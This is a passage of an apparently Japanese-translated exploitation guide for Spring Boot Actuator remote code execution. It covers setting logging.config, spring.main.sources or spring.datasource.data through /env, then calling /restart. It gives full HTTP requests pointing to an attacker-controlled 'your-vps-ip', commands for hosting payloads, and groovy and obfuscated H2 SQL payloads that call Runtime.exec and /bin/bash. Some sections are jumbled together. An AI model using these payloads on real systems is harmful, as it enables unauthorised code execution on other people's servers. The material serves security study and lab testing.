2. restart でアプリケーションを再起動後、プログラムは URL アドレスにリクエストを送り、悪意のある xml ファイルの内容を取得する
3. 対象マシンは `saxParser.parse` を使用して xml ファイルを解析する(ここで XXE 脆弱性が発生する)
4. xml ファイル内で `logback` の依存関係にある `insertFormJNDI` タグを利用し、外部 JNDI サーバーのアドレスを設定する
5. 対象マシンが悪意のある JNDI サーバーにリクエストを送り、JNDI インジェクションが発生し、RCE 脆弱性につながる
#### 脆弱性分析:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### 脆弱性環境:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
正常アクセス:```
http://127.0.0.1:9098/actuator/env
/env エンドポイントにPOSTリクエストを送信し、プロパティを設定できること/restart エンドポイントにPOSTリクエストを送信し、アプリケーションを再起動できること自分が管理するVPSマシン上で簡易HTTPサーバーを起動し、ポートは一般的なHTTPサービスポート(80、443)を使用することを推奨```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
ルートディレクトリに `groovy` で終わる `example.groovy` ファイルを配置します。内容は実行する groovy コードです。例:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logback-classic コンポーネントの ch.qos.logback.classic.util.ContextInitializer.java コードファイルのロジック内で、URLが groovy で終わるかどうかを判断しますgroovy で終わる場合、最終的にファイル内容の groovy コードが実行され、RCE脆弱性を引き起こします正常なアクセス:``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### 利用条件:
- 対象のウェブサイトの `/env` エンドポイントに POST リクエストを送信してプロパティを設定できること
- 対象のウェブサイトの `/restart` エンドポイントに POST リクエストを送信してアプリケーションを再起動できること
- ⚠️ 対象が攻撃者の HTTP サーバーにリクエストを送信できること(リクエストが外部ネットワークに出ること)。そうでない場合、restart によりプログラムが異常終了します。
- ⚠️ HTTP サーバーが不正な Groovy 構文を含むファイルを返した場合、プログラムが異常終了します。
- ⚠️ 環境に Groovy の依存関係が必要です。そうでない場合、プログラムが異常終了します。
#### 利用方法:
##### ステップ1:Groovy ファイルをホストする
自分が管理する VPS マシンで簡単な HTTP サーバーを起動し、ポートはできるだけ一般的な HTTP サービスポート(80、443)を使用します。```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
ルートディレクトリに groovy で終わる example.groovy ファイルを配置し、その内容として実行したいgroovyコードを記述します。例:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### ステップ2:spring.main.sources プロパティを設定
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### 手順3:アプリケーションの再起動
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### 脆弱性の原理:
1. 対象マシンは `spring.main.sources` プロパティを使用して、ApplicationContext を作成するための追加ソースの URL アドレスを設定できます。
2. restart でアプリケーションを再起動すると、プログラムは設定された URL アドレスを要求します。
3. `spring-boot` コンポーネント内の `org.springframework.boot.BeanDefinitionLoader.java` ファイルのコードロジックでは、URL が `.groovy` で終わっているかどうかを判断します。
4. URL が `.groovy` で終わっている場合、最終的にファイル内容の groovy コードが実行され、RCE 脆弱性が発生します。
#### 脆弱性環境:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
正常アクセス:```
http://127.0.0.1:9098/actuator/env
/env エンドポイントに POST リクエストを送信してプロパティを設定できること/restart エンドポイントに POST リクエストを送信してアプリケーションを再起動できることh2database、spring-boot-starter-data-jpa の依存関係が存在すること自分が管理する VPS マシン上で簡易 HTTP サーバーを起動し、ポートはできるだけ一般的な HTTP サービスポート(80、443)を使用します```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在ルートディレクトリに任意の名前のファイルを置き、その内容に実行する h2 SQL コードを記述します。例:
> ⚠️ 下記のペイロード内の 'T5' メソッドは restart で一度だけ実行できます。以降の restart では新しいメソッド名(例:T6)と新しい SQL URL アドレスを設定する必要があり、そうすることで restart で再使用できます。そうしないと、2回目の restart でアプリケーションを再起動した際にプログラムが異常終了します。```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
Spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.data プロパティを使用して jdbc DML SQL ファイルの URL アドレスを設定できますspring-boot-autoconfigure コンポーネント内の org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java ファイルのコードロジックでは、runScripts メソッドを使用してリクエストされた URL の内容にある h2 database SQL コードを実行し、RCE 脆弱性を引き起こします正常なアクセス:``` http://127.0.0.1:9098/actuator/env